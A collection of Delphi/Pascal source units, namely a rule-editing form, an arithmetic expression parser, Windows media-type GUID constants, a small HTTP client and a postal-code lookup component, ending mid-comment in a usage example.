text
stringlengths
14
6.51M
unit NewDoublesRuleForm; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, cxGraphics, cxLookAndFeels, cxLookAndFeelPainters, Menus, dxSkinsCore, dxSkinsDefaultPainters, StdCtrls, cxButtons, ExtCtrls, cxControls, cxContainer, cxEdit, cxTextEdit, cxLabel, cxStyles, dxSkinscxPCPainter, cxCustomData, cxFilter, cxData, cxDataStorage, cxGridLevel, cxGridCustomTableView, cxGridTableView, cxClasses, cxGridCustomView, cxGrid, dxSkinsdxBarPainter, dxBar, cxEditRepositoryItems, cxNavigator, UITypes; type TCheckNameFunction = function(rulename: string): boolean of object; TfmDoublesNewRule = class(TForm) Panel1: TPanel; bOk: TcxButton; bCancel: TcxButton; lRuleName: TcxLabel; eName: TcxTextEdit; gValues: TcxGrid; tvValues: TcxGridTableView; cChWhat: TcxGridColumn; cChWith: TcxGridColumn; gValuesLevel1: TcxGridLevel; BarManager: TdxBarManager; DoublesActions: TdxBar; bbNewRule: TdxBarButton; bbEditRule: TdxBarButton; bbDeleteRule: TdxBarButton; bcValues: TdxBarDockControl; cxEditRepository1: TcxEditRepository; cComboBox: TcxEditRepositoryComboBoxItem; procedure FormCloseQuery(Sender: TObject; var CanClose: boolean); procedure bbNewRuleClick(Sender: TObject); procedure bbDeleteRuleClick(Sender: TObject); procedure tvValuesEditValueChanged(Sender: TcxCustomGridTableView; AItem: TcxCustomGridTableItem); private FRuleName: string; FResultString: String; FCheckName: TCheckNameFunction; // fpicfields: tstringlist; { Private declarations } public procedure SetLang; procedure PostValues; property rulename: String read FRuleName; property ValueString: String read FResultString; property OnCheckName: TCheckNameFunction read FCheckName write FCheckName; function Execute(rulename: string; ValueString: string; picfields: tstringlist; chName: TCheckNameFunction = nil): boolean; { Public declarations } end; var fmDoublesNewRule: TfmDoublesNewRule; implementation uses common, LangString; {$R *.dfm} procedure TfmDoublesNewRule.bbDeleteRuleClick(Sender: TObject); begin tvValues.DataController.DeleteFocused; end; procedure TfmDoublesNewRule.bbNewRuleClick(Sender: TObject); begin tvValues.DataController.Append; gValues.SetFocus; end; function TfmDoublesNewRule.Execute(rulename: string; ValueString: string; picfields: tstringlist; chName: TCheckNameFunction): boolean; var s, h, v: string; i: integer; begin SetLang; FRuleName := rulename; FResultString := ValueString; FCheckName := chName; cComboBox.Properties.Items.Assign(picfields); cComboBox.Properties.Sorted := true; // fpicfields := picfields; eName.Text := rulename; i := 0; tvValues.BeginUpdate; tvValues.DataController.RecordCount := 0; while ValueString <> '' do begin s := CopyTo(ValueString, ';', ['""'], [], true); h := CopyTo(s, '=', ['""'], [], true); if s <> '' then begin tvValues.DataController.RecordCount := tvValues.DataController.RecordCount + 1; v := CopyTo(s, ',', ['""'], [], true); tvValues.DataController.Values[i, cChWhat.Index] := h; tvValues.DataController.Values[i, cChWith.Index] := v; inc(i); while s <> '' do begin v := CopyTo(s, ',', ['""'], [], true); tvValues.DataController.RecordCount := tvValues.DataController.RecordCount + 1; // tvValues.DataController.Values[i,cChWhat.Index] := CopyTo(s,'=',['""'],true); tvValues.DataController.Values[i, cChWith.Index] := v; inc(i); end; end; end; tvValues.EndUpdate; ShowModal; Result := ModalResult = mrOK; if Result then begin FRuleName := eName.Text; s := ''; if tvValues.DataController.RecordCount > 0 then begin h := tvValues.DataController.Values[0, cChWhat.Index]; v := tvValues.DataController.Values[0, cChWith.Index]; for i := 1 to tvValues.DataController.RecordCount - 1 do if VarToStr(tvValues.DataController.Values[i, cChWith.Index]) <> '' then if VarToStr(tvValues.DataController.Values[i, cChWhat.Index]) = '' then v := v + ',' + tvValues.DataController.Values[i, cChWith.Index] else begin s := s + h + '=' + v + ';'; h := tvValues.DataController.Values[i, cChWhat.Index]; v := tvValues.DataController.Values[i, cChWith.Index]; end; s := s + h + '=' + v + ';'; end; FResultString := s; end; end; procedure TfmDoublesNewRule.FormCloseQuery(Sender: TObject; var CanClose: boolean); var i: integer; begin if (ModalResult = mrOK) then begin if (tvValues.DataController.RecordCount = 0) then begin CanClose := false; MessageDlg(lang('_NO_VALUES_'), mtError, [mbOk], 0); Exit; end; for i := 0 to tvValues.DataController.RecordCount - 1 do if trim(VarToStr(tvValues.DataController.Values[i, cChWith.Index])) = '' then begin CanClose := false; MessageDlg(lang('_EMPTY_VALUES_'), mtError, [mbOk], 0); Exit; end; if (trim(eName.Text) = '') then begin CanClose := false; MessageDlg(lang('_NO_NAME_'), mtError, [mbOk], 0); eName.SetFocus; Exit; end; if Assigned(FCheckName) and FCheckName(trim(eName.Text)) then begin CanClose := false; MessageDlg(lang('_NAME_EXISTS_'), mtError, [mbOk], 0); eName.SetFocus; Exit; end; end; end; procedure TfmDoublesNewRule.PostValues; begin eName.PostEditValue; tvValues.DataController.Post(true); end; procedure TfmDoublesNewRule.SetLang; begin Caption := lang('_RULEEDITING_'); bOk.Caption := lang('_OK_'); bCancel.Caption := lang('_CANCEL_'); lRuleName.Caption := lang('_RULENAME_'); bbNewRule.Caption := lang('_ADDRULE_'); bbDeleteRule.Caption := lang('_DELETERULE_'); cChWhat.Caption := lang('_FIELD_'); cChWith.Caption := lang('_COMPARESTRING_'); end; procedure TfmDoublesNewRule.tvValuesEditValueChanged (Sender: TcxCustomGridTableView; AItem: TcxCustomGridTableItem); begin with Sender.DataController do if (AItem = cChWhat) and (VarToStr(Values[FocusedRecordIndex, cChWith.Index]) = '') then Values[FocusedRecordIndex, cChWith.Index] := DisplayTexts[FocusedRecordIndex, AItem.Index]; end; end.
unit uRegex; interface function Eval(Formula: string; ErrPos: Integer=1):Real; implementation { Simple recursive expression parser based on the TCALC example of TP3. Written by Lars Fosdal 1987 Released to the public domain 1993 } function Eval(Formula: string; ErrPos: Integer):Real; const Digit: set of Char = ['0'..'9']; var Posn: Integer; { Current position in Formula} CurrChar: Char; { character at Posn in Formula } procedure ParseNext; { returnerer neste tegn i Formulaen } begin repeat Posn := Posn + 1; if Posn <= Length(Formula) then CurrChar := Formula[Posn] else CurrChar := ^M; until CurrChar <> ' '; end { ParseNext }; function add_subt: Real; var E: Real; Opr: Char; function mult_DIV: Real; var S: Real; Opr: Char; function Power: Real; var T: Real; function SignedOp: Real; function UnsignedOp: Real; type StdFunc = (fabs, fsqrt, fsqr, fsin, fcos, farctan, fln, flog, fexp, ffact); StdFuncList = array[StdFunc] of string[6]; const StdFuncName: StdFuncList = ('ABS', 'SQRT', 'SQR', 'SIN', 'COS', 'ARCTAN', 'LN', 'LOG', 'EXP', 'FACT'); var E, L, Start: Integer; Funnet: Boolean; F: Real; Sf: StdFunc; function Fact(I: Integer): Real; begin if I > 0 then begin Fact := I * Fact(I - 1); end else Fact := 1; end { Fact }; begin { FUNCTION UnsignedOp } if CurrChar in Digit then begin Start := Posn; repeat ParseNext until not (CurrChar in Digit); if CurrChar = '.' then repeat ParseNext until not (CurrChar in Digit); if CurrChar = 'E' then begin ParseNext; repeat ParseNext until not (CurrChar in Digit); end; Val(Copy(Formula, Start, Posn - Start), F, ErrPos); end else if CurrChar = '(' then begin ParseNext; F := add_subt; if CurrChar = ')' then ParseNext else ErrPos := Posn; end else begin Funnet := False; for sf := fabs to ffact do if not Funnet then begin l := Length(StdFuncName[sf]); if Copy(Formula, Posn, l) = StdFuncName[sf] then begin Posn := Posn + l - 1; ParseNext; f := UnsignedOp; case sf of fabs: f := abs(f); fsqrt: f := SqrT(f); fsqr: f := Sqr(f); fsin: f := Sin(f); fcos: f := Cos(f); farctan: f := ArcTan(f); fln: f := LN(f); flog: f := LN(f) / LN(10); fexp: f := EXP(f); ffact: f := fact(Trunc(f)); end; Funnet := True; end; end; if not Funnet then begin ErrPos := Posn; f := 0; end; end; UnsignedOp := F; end { UnsignedOp}; begin { SignedOp } if CurrChar = '-' then begin ParseNext; SignedOp := -UnsignedOp; end else SignedOp := UnsignedOp; end { SignedOp }; begin { Power } T := SignedOp; while CurrChar = '^' do begin ParseNext; if t <> 0 then t := EXP(LN(abs(t)) * SignedOp) else t := 0; end; Power := t; end { Power }; begin { mult_DIV } s := Power; while CurrChar in ['*', '/'] do begin Opr := CurrChar; ParseNext; case Opr of '*': s := s * Power; '/': s := s / Power; end; end; mult_DIV := s; end { mult_DIV }; begin { add_subt } E := mult_DIV; while CurrChar in ['+', '-'] do begin Opr := CurrChar; ParseNext; case Opr of '+': e := e + mult_DIV; '-': e := e - mult_DIV; end; end; add_subt := E; end { add_subt }; begin {PROC Eval} if Formula[1] = '.' then Formula := '0' + Formula; if Formula[1] = '+' then Delete(Formula, 1, 1); for Posn := 1 to Length(Formula) do Formula[Posn] := Upcase(Formula[Posn]); Posn := 0; ParseNext; Result := add_subt; if CurrChar = ^M then ErrPos := 0 else ErrPos := Posn; end {PROC Eval}; end.
//------------------------------------------------------------------------------ // File: ksuuids.h // Desc: Contains the GUIDs for the MediaType type, subtype fields and format // types for DVD/MPEG2 media types. // Copyright (c) Microsoft Corporation. All rights reserved. //------------------------------------------------------------------------------ // Updated to SDK 10.0.17763.0 // (c) Translation to Pascal by Norbert Sonnleitner unit Win32.KSUUIDs; {$mode delphi} interface uses Windows, Classes, SysUtils; const // --- MPEG 2 definitions --- MEDIATYPE_MPEG2_PACK: TGUID = '{36523B13-8EE5-11d1-8CA3-0060B057664A}'; MEDIATYPE_MPEG2_PES: TGUID = '{e06d8020-db46-11cf-b4d1-00805f6cbbea}'; //{$IF 0 MEDIATYPE_CONTROL: TGUID = '{e06d8021-db46-11cf-b4d1-00805f6cbbea}'; //{$ENDIF} // {$IF 0 //{$IF ( (NTDDI_VERSION >= NTDDI_WINXPSP2) && (NTDDI_VERSION < NTDDI_WS03) ) || (NTDDI_VERSION >= NTDDI_WS03SP1) MEDIATYPE_MPEG2_SECTIONS: TGUID = '{455f176c-4b06-47ce-9aef-8caef73df7b5}'; // {} MEDIASUBTYPE_MPEG2_VERSIONED_TABLES: TGUID = '{1ED988B0-3FFC-4523-8725-347BEEC1A8A0}'; MEDIASUBTYPE_ATSC_SI: TGUID = '{b3c7397c-d303-414d-b33c-4ed2c9d29733}'; MEDIASUBTYPE_DVB_SI: TGUID = '{e9dd31a3-221d-4adb-8532-9af309c1a408}'; MEDIASUBTYPE_ISDB_SI: TGUID = '{e89ad298-3601-4b06-aaec-9ddeedcc5bd0}'; // {EC232EB2-CB96-4191-B226-0EA129F38250} MEDIASUBTYPE_TIF_SI: TGUID = '{ec232eb2-cb96-4191-b226-0ea129f38250}'; // {C892E55B-252D-42b5-A316-D997E7A5D995} MEDIASUBTYPE_MPEG2DATA: TGUID = '{c892e55b-252d-42b5-a316-d997e7a5d995}'; //{$ENDIF} MEDIASUBTYPE_MPEG2_WMDRM_TRANSPORT: TGUID = '{18BEC4EA-4676-450e-B478-0CD84C54B327}'; // e06d8026-db46-11cf-b4d1-00805f6cbbea MEDIASUBTYPE_MPEG2_VIDEO: TGUID = '{e06d8026-db46-11cf-b4d1-00805f6cbbea}'; // use MPEG2VIDEOINFO (defined below) with FORMAT_MPEG2_VIDEO // e06d80e3-db46-11cf-b4d1-00805f6cbbea FORMAT_MPEG2_VIDEO: TGUID = '{e06d80e3-db46-11cf-b4d1-00805f6cbbea}'; // F72A76A0-EB0A-11d0-ACE4-0000C0CC16BA (FORMAT_VideoInfo2) FORMAT_VIDEOINFO2: TGUID = '{f72a76A0-eb0a-11d0-ace4-0000c0cc16ba}'; // MPEG2 Other subtypes // e06d8022-db46-11cf-b4d1-00805f6cbbea MEDIASUBTYPE_MPEG2_PROGRAM: TGUID = '{e06d8022-db46-11cf-b4d1-00805f6cbbea}'; // e06d8023-db46-11cf-b4d1-00805f6cbbea MEDIASUBTYPE_MPEG2_TRANSPORT: TGUID = '{e06d8023-db46-11cf-b4d1-00805f6cbbea}'; //{$IF (NTDDI_VERSION >= NTDDI_WINXP)} // 138AA9A4-1EE2-4c5b-988E-19ABFDBC8A11 MEDIASUBTYPE_MPEG2_TRANSPORT_STRIDE: TGUID = '{138aa9a4-1ee2-4c5b-988e-19abfdbc8a11}'; // {18BEC4EA-4676-450e-B478-0CD84C54B327} MEDIASUBTYPE_MPEG2_UDCR_TRANSPORT: TGUID = '{18BEC4EA-4676-450e-B478-0CD84C54B327}'; // {0d7aed42-cb9a-11db-9705-005056c00008} MEDIASUBTYPE_MPEG2_PBDA_TRANSPORT_RAW: TGUID = '{0d7aed42-cb9a-11db-9705-005056c00008}'; // {af748dd4-d800-11db-9705-005056c00008} MEDIASUBTYPE_MPEG2_PBDA_TRANSPORT_PROCESSED: TGUID = '{af748dd4-d800-11db-9705-005056c00008}'; //{$ENDIF} // e06d802b-db46-11cf-b4d1-00805f6cbbea MEDIASUBTYPE_MPEG2_AUDIO: TGUID = '{e06d802b-db46-11cf-b4d1-00805f6cbbea}'; // e06d802c-db46-11cf-b4d1-00805f6cbbea MEDIASUBTYPE_DOLBY_AC3: TGUID = '{e06d802c-db46-11cf-b4d1-00805f6cbbea}'; // e06d802d-db46-11cf-b4d1-00805f6cbbea MEDIASUBTYPE_DVD_SUBPICTURE: TGUID = '{e06d802d-db46-11cf-b4d1-00805f6cbbea}'; // e06d8032-db46-11cf-b4d1-00805f6cbbea MEDIASUBTYPE_DVD_LPCM_AUDIO: TGUID = '{e06d8032-db46-11cf-b4d1-00805f6cbbea}'; //{$IF (NTDDI_VERSION >= NTDDI_WINXP)} // e06d8033-db46-11cf-b4d1-00805f6cbbea MEDIASUBTYPE_DTS: TGUID = '{e06d8033-db46-11cf-b4d1-00805f6cbbea}'; // e06d8034-db46-11cf-b4d1-00805f6cbbea MEDIASUBTYPE_SDDS: TGUID = '{e06d8034-db46-11cf-b4d1-00805f6cbbea}'; //{$ENDIF} // DVD-related mediatypes // ED0B916A-044D-11d1-AA78-00C04FC31D60 MEDIATYPE_DVD_ENCRYPTED_PACK: TGUID = '{ed0b916a-044d-11d1-aa78-00c04fc31d60}'; // e06d802e-db46-11cf-b4d1-00805f6cbbea MEDIATYPE_DVD_NAVIGATION: TGUID = '{e06d802e-db46-11cf-b4d1-00805f6cbbea}'; // e06d802f-db46-11cf-b4d1-00805f6cbbea MEDIASUBTYPE_DVD_NAVIGATION_PCI: TGUID = '{e06d802f-db46-11cf-b4d1-00805f6cbbea}'; // e06d8030-db46-11cf-b4d1-00805f6cbbea MEDIASUBTYPE_DVD_NAVIGATION_DSI: TGUID = '{e06d8030-db46-11cf-b4d1-00805f6cbbea}'; // e06d8031-db46-11cf-b4d1-00805f6cbbea MEDIASUBTYPE_DVD_NAVIGATION_PROVIDER: TGUID = '{e06d8031-db46-11cf-b4d1-00805f6cbbea}'; // DVD - MPEG2/AC3-related Formats // e06d80e3-db46-11cf-b4d1-00805f6cbbea FORMAT_MPEG2Video: TGUID = '{e06d80e3-db46-11cf-b4d1-00805f6cbbea}'; // e06d80e4-db46-11cf-b4d1-00805f6cbbea FORMAT_DolbyAC3: TGUID = '{e06d80e4-db46-11cf-b4d1-00805f6cbbea}'; // e06d80e5-db46-11cf-b4d1-00805f6cbbea FORMAT_MPEG2Audio: TGUID = '{e06d80e5-db46-11cf-b4d1-00805f6cbbea}'; // e06d80e6-db46-11cf-b4d1-00805f6cbbea FORMAT_DVD_LPCMAudio: TGUID = '{e06d80e6-db46-11cf-b4d1-00805f6cbbea}'; // UVC 1.2 H.264 Video Format // 2017be05-6629-4248-aaed-7e1a47bc9b9c FORMAT_UVCH264Video: TGUID = '{2017be05-6629-4248-aaed-7e1a47bc9b9c}'; // JPEG Image Format // 692fa379-d3e8-4651-b5b4-0b94b013eeaf FORMAT_JPEGImage: TGUID = '{692fa379-d3e8-4651-b5b4-0b94b013eeaf}'; // Image Format // 692fa379-d3e8-4651-b5b4-0b94b013eeaf FORMAT_Image: TGUID = '{692fa379-d3e8-4651-b5b4-0b94b013eeaf}'; // KS Property Set Id (to communicate with the WDM Proxy filter) -- from // ksmedia.h of WDM DDK. // BFABE720-6E1F-11D0-BCF2-444553540000 AM_KSPROPSETID_AC3: TGUID = '{BFABE720-6E1F-11D0-BCF2-444553540000}'; // ac390460-43af-11d0-bd6a-003505c103a9 AM_KSPROPSETID_DvdSubPic: TGUID = '{ac390460-43af-11d0-bd6a-003505c103a9}'; // 0E8A0A40-6AEF-11D0-9ED0-00A024CA19B3 AM_KSPROPSETID_CopyProt: TGUID = '{0E8A0A40-6AEF-11D0-9ED0-00A024CA19B3}'; // A503C5C0-1D1D-11d1-AD80-444553540000 AM_KSPROPSETID_TSRateChange: TGUID = '{a503c5c0-1d1d-11d1-ad80-444553540000}'; //{$IF (NTDDI_VERSION >= NTDDI_WINXP)} // 3577EB09-9582-477f-B29C-B0C452A4FF9A AM_KSPROPSETID_DVD_RateChange: TGUID = '{3577eb09-9582-477f-b29c-b0c452a4ff9a}'; // ae4720ae-aa71-42d8-b82a-fffdf58b76fd AM_KSPROPSETID_DvdKaraoke: TGUID = '{ae4720ae-aa71-42d8-b82a-fffdf58b76fd}'; // c830acbd-ab07-492f-8852-45b6987c2979 AM_KSPROPSETID_FrameStep: TGUID = '{c830acbd-ab07-492f-8852-45b6987c2979}'; //{$ENDIF} // ----------------------------------------------- // MPEG4 related KSPROPSETIDs from ksmedia.h of WDK // ----------------------------------------------- // FF6C4BFA-07A9-4c7b-A237-672F9D68065F AM_KSPROPSETID_MPEG4_MediaType_Attributes: TGUID = '{ff6c4bfa-07a9-4c7b-a237-672f9d68065f}'; // KS categories from ks.h and ksmedia.h // 65E8773D-8F56-11D0-A3B9-00A0C9223196 AM_KSCATEGORY_CAPTURE: TGUID = '{65E8773D-8F56-11D0-A3B9-00A0C9223196}'; // 65E8773E-8F56-11D0-A3B9-00A0C9223196 AM_KSCATEGORY_RENDER: TGUID = '{65E8773E-8F56-11D0-A3B9-00A0C9223196}'; // 1E84C900-7E70-11D0-A5D6-28DB04C10000 AM_KSCATEGORY_DATACOMPRESSOR: TGUID = '{1E84C900-7E70-11D0-A5D6-28DB04C10000}'; // 6994AD04-93EF-11D0-A3CC-00A0C9223196 AM_KSCATEGORY_AUDIO: TGUID = '{6994AD04-93EF-11D0-A3CC-00A0C9223196}'; // 6994AD05-93EF-11D0-A3CC-00A0C9223196 AM_KSCATEGORY_VIDEO: TGUID = '{6994AD05-93EF-11D0-A3CC-00A0C9223196}'; // a799a800-a46d-11d0-a18c-00a02401dcd4 AM_KSCATEGORY_TVTUNER: TGUID = '{a799a800-a46d-11d0-a18c-00a02401dcd4}'; // a799a801-a46d-11d0-a18c-00a02401dcd4 AM_KSCATEGORY_CROSSBAR: TGUID = '{a799a801-a46d-11d0-a18c-00a02401dcd4}'; // a799a802-a46d-11d0-a18c-00a02401dcd4 AM_KSCATEGORY_TVAUDIO: TGUID = '{a799a802-a46d-11d0-a18c-00a02401dcd4}'; // 07dad660-22f1-11d1-a9f4-00c04fbbde8f AM_KSCATEGORY_VBICODEC: TGUID = '{07dad660-22f1-11d1-a9f4-00c04fbbde8f}'; //{$IF (NTDDI_VERSION >= NTDDI_WS03SP1)} // multi-instance safe codec categories(kernel or user mode) // {9C24A977-0951-451a-8006-0E49BD28CD5F} AM_KSCATEGORY_VBICODEC_MI: TGUID = '{9c24a977-0951-451a-8006-0e49bd28cd5f}'; //{$ENDIF} // 0A4252A0-7E70-11D0-A5D6-28DB04C10000 AM_KSCATEGORY_SPLITTER: TGUID = '{0A4252A0-7E70-11D0-A5D6-28DB04C10000}'; // GUIDs needed to support IKsPin interface // d3abc7e0-9a61-11d0-a40d00a0c9223196 IID_IKsInterfaceHandler: TGUID = '{D3ABC7E0-9A61-11D0-A40D-00A0C9223196}'; // 5ffbaa02l-49a3-11d0-9f3600aa00a216a1 IID_IKsDataTypeHandler: TGUID = '{5FFBAA02-49A3-11D0-9F36-00AA00A216A1}'; // b61178d1-a2d9-11cf-9e53-00aa00a216a1 IID_IKsPin: TGUID = '{b61178d1-a2d9-11cf-9e53-00aa00a216a1}'; // 28F54685-06FD-11D2-B27A-00A0C9223196 IID_IKsControl: TGUID = '{28F54685-06FD-11D2-B27A-00A0C9223196}'; // CD5EBE6B-8B6E-11D1-8AE0-00A0C9223196 IID_IKsPinFactory: TGUID = '{CD5EBE6B-8B6E-11D1-8AE0-00A0C9223196}'; // 1A8766A0-62CE-11CF-A5D6-28DB04C10000 AM_INTERFACESETID_Standard: TGUID = '{1A8766A0-62CE-11CF-A5D6-28DB04C10000}'; implementation end.
unit fre_http_client; { (§LIC) (c) Autor,Copyright Dipl.Ing.- Helmut Hartl, Dipl.Ing.- Franz Schober, Dipl.Ing.- Christian Koch FirmOS Business Solutions GmbH www.openfirmos.org New Style BSD Licence (OSI) Copyright (c) 2001-2013, FirmOS Business Solutions GmbH All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the <FirmOS Business Solutions GmbH> nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. (§LIC_END) } {$mode objfpc}{$H+} {$modeswitch nestedprocvars} interface uses Classes, SysUtils,strutils,FRE_APS_INTERFACE,fre_http_tools; type TFRE_SIMPLE_HTTP_CLIENT = class; TFRE_SIMPLE_HTTP_CONTENT_CB = procedure(const sender : TFRE_SIMPLE_HTTP_CLIENT ; const http_status,content_len : NativeInt ; const contenttyp : string ; content : PByte) is nested; { TFRE_SIMPLE_HTTP_CLIENT } TFRE_SIMPLE_HTTP_CLIENT=class private const cHTTPLE = #13#10; type httpstate=(hs_WaitResponse,hs_ParseHeaders); var FState : httpstate; FHttpProtocol : String[20]; FUserAgent : String[128]; FHost : String[128]; Fport : String[8]; FIsDNSMode : Boolean; FHttpRequest : string; FHttpResponse : string; FContentlen : NativeInt; FContenttyp : String; FContentstart : NativeInt; FHostIPPort : String; FHttpResponseCode : NativeInt; FContentCB : TFRE_SIMPLE_HTTP_CONTENT_CB; Fchannel : IFRE_APSC_CHANNEL; FError : string; procedure localNewChannel (const channel: IFRE_APSC_CHANNEL ; const channel_event : TAPSC_ChannelState ; const errorstring: string; const errorcode: NativeInt); procedure localRead (const channel: IFRE_APSC_CHANNEL); procedure localDisco (const channel: IFRE_APSC_CHANNEL); procedure DoCallBack ; public constructor create; destructor Destroy ; override; procedure SetHost (const host:string); procedure SetUA (const useragent:string); procedure SetPort (const port:string); procedure SetIP_Mode (const ip_mode : boolean); procedure SetHttpProtocol (const proto:string); procedure GetMethod (const url:string ; const contentcallback : TFRE_SIMPLE_HTTP_CONTENT_CB); end; implementation { TFRE_SIMPLE_HTTP_CLIENT } procedure TFRE_SIMPLE_HTTP_CLIENT.localNewChannel(const channel: IFRE_APSC_CHANNEL; const channel_event: TAPSC_ChannelState; const errorstring: string; const errorcode: NativeInt); begin case channel_event of ch_ErrorOccured: begin FError := errorstring; end; ch_NEW_CS_CONNECTED: begin Fchannel := Channel; FHostIPPort := channel.CH_GetConnSocketAddr; channel.CH_WriteString(FHttpRequest); channel.CH_Enable_Reading; end; ch_NEW_CHANNEL_FAILED: begin if assigned(FContentCB) then FContentCB(self,500,0,FError,nil); end else raise Exception.Create('TFRE_SIMPLE_HTTP_CLIENT - localnewchannel unhandled channel event'); end; end; procedure TFRE_SIMPLE_HTTP_CLIENT.localRead(const channel: IFRE_APSC_CHANNEL); var lContinue : boolean; function FetchTag(const tag:string; var val:string):boolean; var sp,ep:NativeInt; begin sp := pos(tag,FHttpResponse); if sp>0 then ep:=PosEx(cHTTPLE,FHttpResponse,sp+1); if ep>0 then begin result := true; sp := sp+length(tag)+1; val := trim(Copy(FHttpResponse,sp,ep-sp)); end else result:=false; end; procedure TrySetContentLen; var tagval:string; begin if FetchTag('Content-Length:',tagval) then begin FContentlen:=StrToIntDef(tagval,-1); FHttpResponseCode := StrToIntDef(copy(FHttpResponse,9,4),500); end; end; procedure TrySetContentTyp; var tagval:string; begin if FetchTag('Content-Type:',tagval) then FContenttyp := tagval; end; function CheckLenAvail:boolean; var vl : NativeInt; begin result := false; FContentstart := pos(cHTTPLE+cHTTPLE,FHttpResponse); if FContentstart>0 then begin FContentstart:=FContentstart+4; vl := Length(FHttpResponse)-FContentstart+1; if FContentlen<=(vl) then exit(true); end; end; begin FHttpResponse := FHttpResponse+channel.CH_ReadString; repeat lContinue:=false; case FState of hs_WaitResponse: begin if pos(cHTTPLE+cHTTPLE,FHttpResponse)>1 then begin FState := hs_ParseHeaders; lContinue := true; FContentlen := -1; end; end; hs_ParseHeaders: begin if FContentlen=-1 then TrySetContentLen; if FContenttyp='' then TrySetContentTyp; if (FContentlen<>-1) and (FContenttyp<>'') then begin if CheckLenAvail then begin channel.cs_Finalize; DoCallback; end; end; end; end; until lContinue=false; end; procedure TFRE_SIMPLE_HTTP_CLIENT.localDisco(const channel: IFRE_APSC_CHANNEL); begin writeln('Cannel '+channel.CH_GetVerboseDesc,' DISCO '); if assigned(FContentCB) then FContentCB(self,500,0,FError,nil); end; procedure TFRE_SIMPLE_HTTP_CLIENT.DoCallBack; begin if assigned(FContentCB) then FContentCB(self,FHttpResponseCode,FContentlen,FContenttyp,@FHttpResponse[FContentstart]); end; constructor TFRE_SIMPLE_HTTP_CLIENT.create; begin FHttpProtocol:= 'HTTP/1.1'; FUserAgent := 'FirmOS/httpc'; FPort := '80'; FIsDNSMode := true; end; destructor TFRE_SIMPLE_HTTP_CLIENT.Destroy; begin if assigned(Fchannel) then Fchannel.cs_Finalize; inherited Destroy; end; procedure TFRE_SIMPLE_HTTP_CLIENT.SetHost(const host: string); begin FHost := host; end; procedure TFRE_SIMPLE_HTTP_CLIENT.SetUA(const useragent: string); begin FUserAgent := useragent; end; procedure TFRE_SIMPLE_HTTP_CLIENT.SetPort(const port: string); begin Fport:=port; end; procedure TFRE_SIMPLE_HTTP_CLIENT.SetIP_Mode(const ip_mode: boolean); begin FIsDNSMode := not ip_mode; end; procedure TFRE_SIMPLE_HTTP_CLIENT.SetHttpProtocol(const proto: string); begin FHttpProtocol := proto; end; procedure TFRE_SIMPLE_HTTP_CLIENT.GetMethod(const url: string; const contentcallback: TFRE_SIMPLE_HTTP_CONTENT_CB); begin FHttpRequest:= 'GET '+FRE_URI_Escape(url)+' '+FHttpProtocol+FHttpRequest+cHTTPLE; FHttpRequest:=FHttpRequest+ 'User-Agent: '+FUserAgent+cHTTPLE; FHttpRequest:=FHttpRequest+ 'Host: '+FHost+cHTTPLE; FHttpRequest:=FHttpRequest+ 'Accept: */*'+cHTTPLE; FHttpRequest:=FHttpRequest+ cHTTPLE; FContentCB :=contentcallback; if FIsDNSMode then GFRE_SC.AddClient_TCP_DNS(FHost,Fport,'FHT',false,nil,@localNewChannel,@localRead,@localDisco) else GFRE_SC.AddClient_TCP(FHost,Fport,'FHT',false,nil,@localNewChannel,@localRead,@localDisco) end; end.
unit UConsultaCep; interface uses Classes, SysUtils, IdHTTP, XMLDoc; type TCep = packed record Cep: String; Logradouro: String; Bairro: String; Cidade: String; Uf: String; IbgeCidade: Integer; IbgeUf: Integer; end; TConsultaCep = class(TComponent) private FKey: String; FHttp: TIdHTTP; FXml: TXMLDocument; public constructor Create(AOwner: TComponent; AKey: String = ''); destructor Destroy; override; function Search(ACep: String): TCep; end; implementation const WS_URL: String = 'http://api.wscep.com/cep?key=%s&val=%s'; {TConsultaCep} constructor TConsultaCep.Create(AOwner: TComponent; AKey: String); begin inherited Create(AOwner); if AKey = '' then Self.FKey := 'free' else Self.FKey := AKey; Self.FHttp := TIdHTTP.Create(Self); Self.FXml := TXMLDocument.Create(Self); Self.FXml.Active := True; end; destructor TConsultaCep.Destroy; begin Self.FHttp.Free; Self.FXml.Free; inherited; end; function TConsultaCep.Search(ACep: String): TCep; var PostResult, ErrMsg: String; XML: TXMLDocument; begin PostResult := Self.FHttp.Get(Format(WS_URL, [Self.FKey, ACep])); with Self.FXml do begin LoadFromXML(PostResult); if DocumentElement.ChildValues['resultado'] = 0 then begin ErrMsg := DocumentElement.ChildValues['msg_error']; if ErrMsg = '' then ErrMsg := 'CEP não encontrado.'; raise Exception.Create(ErrMsg); end else begin Result.Cep := DocumentElement.ChildValues['cep']; Result.Logradouro := DocumentElement.ChildValues['logradouro']; Result.Bairro := DocumentElement.ChildValues['bairro']; Result.Cidade := DocumentElement.ChildValues['cidade']; Result.Uf := DocumentElement.ChildValues['uf']; Result.IbgeCidade := DocumentElement.ChildValues['cod_ibge_municipio']; Result.IbgeUf := DocumentElement.ChildValues['cod_ibge_estado']; end; end; end; end. // //uses // UConsultaCep; // //procedure TForm1.Button1Click(Sender: TObject); //var // Cep: TCep; //begin // with TConsultaCep.Create(Self) do // try // Cep := 